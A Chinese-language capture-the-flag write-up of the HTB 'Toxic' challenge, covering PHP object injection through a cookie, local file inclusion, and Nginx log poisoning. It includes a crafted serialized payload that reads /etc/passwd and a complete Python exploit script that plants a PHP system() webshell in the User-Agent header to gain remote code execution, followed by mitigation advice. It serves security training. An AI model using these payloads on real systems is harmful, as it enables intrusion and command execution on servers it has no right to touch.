HTB Challenge: Toxic
PHP Deserialization + LFI
UMPIRE Analysis
1. U (Understand) - 理解與分析
目標:透過提供的 PHP 源碼分析漏洞,取得 RCE 並讀取 Flag。
首先,我們查看整個專案的資料結構:

Source Code Analysis:
主要邏輯位於 index.php:
<?php
spl_autoload_register(function ($name){
if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
if (empty($_COOKIE['PHPSESSID']))
{
$page = new PageModel;
$page->file = '/www/index.html';
setcookie(
'PHPSESSID',
base64_encode(serialize($page)),
time()+60*60*24,
'/'
);
}
$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
以及 /Model/PageModel.php:
<?php
class PageModel
{
public $file;
public function __destruct()
{
include($this->file);
}
}
關鍵發現:
1. spl_autoload_register(): 這是一個自動載入機制。可以把它想像成「小北百貨的店員」,當你需要的類別(Class)還沒載入時,PHP 會自動呼叫這個函數幫你找(例如問店員「電風扇在哪?」他告訴你在 13 號櫃位)。
2. unserialize($cookie): 在 index.php 結尾,直接對 User 傳來的 Cookie 進行了 Base64 解碼與反序列化,且完全沒有過濾。
3. __destruct() & include(): PageModel 類別有一個解構子(Magic Method),在物件銷毀時會執行 include($this->file)。
2. M (Match) - 匹配核心漏洞
根據上述分析,我們匹配到了兩個經典的漏洞模式:
-
PHP Object Injection (反序列化注入): 由於
unserialize()的輸入可控(來自 Cookie),我們可以注入任意的 PHP 物件。在這裡,我們的目標是PageModel類別。 -
LFI (Local File Inclusion):
PageModel的__destruct方法使用了include(),且路徑變數$this->file是我們可以透過反序列化控制的。
攻擊思路鏈 (Attack Chain):
Untrusted Cookie -> unserialize() -> PageModel Object Created -> Script End -> __destruct() -> include($this->file) -> LFI / RCE
3. P (Plan) - 擬定攻擊計畫
我們的執行步驟如下:
- Payload Construction: 構造一個惡意的序列化
PageModel物件,將$file屬性指向我們想要讀取的路徑。 - LFI Verification: 先嘗試讀取
/etc/passwd確認漏洞存在。 - Log Poisoning Strategy:
- 由於
include可以執行 PHP 代碼(如果檔案內容包含<?php ... ?>)。 - 我們確認 Web Server 是 Nginx,標準日誌路徑為
/var/log/nginx/access.log。 - 我們可以在 HTTP請求的
User-AgentHeader 中寫入 PHP Webshell 程式碼。 - 這樣 Nginx 就會把惡意代碼寫入
access.log。
- 由於
- Trigger RCE: 再次利用 LFI 去
include那個被毒化的/var/log/nginx/access.log,觸發代碼執行。
4. I (Implement) - 實作 exploit
Step 1: 驗證 LFI (/etc/passwd)
原始的 Cookie Base64 Decode 後長這樣:
O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}
我們將其修改為讀取 /etc/passwd:
O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}
Base64 Encode 後注入 Cookie:
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30=
結果成功讀取:

Step 2: 自動化 Exploit 腳本 (Python)
我撰寫了一個 Python 腳本來自動化「構造 Payload」與「發送請求」的過程。
import requests
import sys
import base64
import os
Target_URL = "http://94.237.58.137:49125/"
Bad_DATA = "/var/log/nginx/access.log" # 目標指向 Nginx Log
Class_name = "PageModel"
CMD_TO_RUN = "ls /"
MALICIOUS_PHP = f"<?php system('{CMD_TO_RUN}');?>"
def generate_php_serialized_payload(Class_name, Property_Key, Property_value):
# 手動構造 PHP 序列化字串
# format: O:length:"ClassName":count:{s:length:"key";s:length:"value";}
Class_len = len(Class_name)
Key_len = len(Property_Key)
Value_len =len(Property_value)
payload = f'O:{Class_len}:"{Class_name}":1:{{s:{Key_len}:"{Property_Key}";s:{Value_len}:"{Property_value}";}}'
return payload
def exploit_rce(url, log_path):
# Phase 1: Log Poisoning
# 將 PHP 代碼塞入 User-Agent,讓 Server 寫入 access.log
poison_headers ={
"User-Agent": MALICIOUS_PHP
}
try:
requests.get(Target_URL, headers=poison_headers, timeout=5)
print("[+] Posiosn payload sent to access.log")
except Exception as e:
print(f"[!] Poison fail: {e}")
return
print("-" * 50)
# Phase 2: LFI to Trigger RCE
# 構造指向 access.log 的序列化 Payload
searialized_string = generate_php_serialized_payload(Class_name, "file", log_path)
base64_payload = base64.b64encode(searialized_string.encode('utf-8')).decode('utf-8')
print(f"[+] Serialized strings:{searialized_string}")
print(f"[+] Base64 payload:{base64_payload}")
# Inject Cookie
cookie = {
"PHPSESSID": base64_payload
}
try:
response = requests.get(Target_URL, cookies=cookie, timeout= 5)
print(f"[+] Server response status:{response.status_code}")
# 檢查是否有命令執行的結果 (例如 flag)
print("-" * 50)
print(response.text[:500] + "...") # 顯示部分結果
except requests.exceptions.RequestException as error:
print(f"Request error: {error}")
if __name__ == "__main__":
exploit_rce(Target_URL, Bad_DATA)
5. R (Review) - 驗證結果
LFI 測試:
成功存取 /var/log/nginx/access.log 確認路徑正確。

毒化與 RCE:
我們將 <?php system('ls');?> 放入 User-Agent。
執行腳本後,我們在回應中看到了 ls 的結果!

取得 Flag:
修改指令讀取 Flag,成功拿到 Flag。
酷喔!

6. E (Evaluate) - 評估與結語
- Root Cause: 開發者直接將用戶可控的輸入 (
$_COOKIE) 傳遞給危險函數unserialize(),且魔術方法__destruct中使用了include。 - Impact: 攻擊者可讀取任意檔案 (LFI),並透過日誌毒化升級為遠端代碼執行 (RCE)。
- Mitigation (修復建議):
- 避免反序列化: 不要對不可信的輸入使用
unserialize,推薦改用json_decode/json_encode來傳遞資料。 - 完整性檢查: 如果必須使用序列化,應加上 HMAC 簽章 (Signature) 來驗證數據未被篡改。
- 輸入驗證: 對於
include的參數進行嚴格的白名單檢查,不允許包含路徑遍歷字符 (../) 或絕對路徑。
- 避免反序列化: 不要對不可信的輸入使用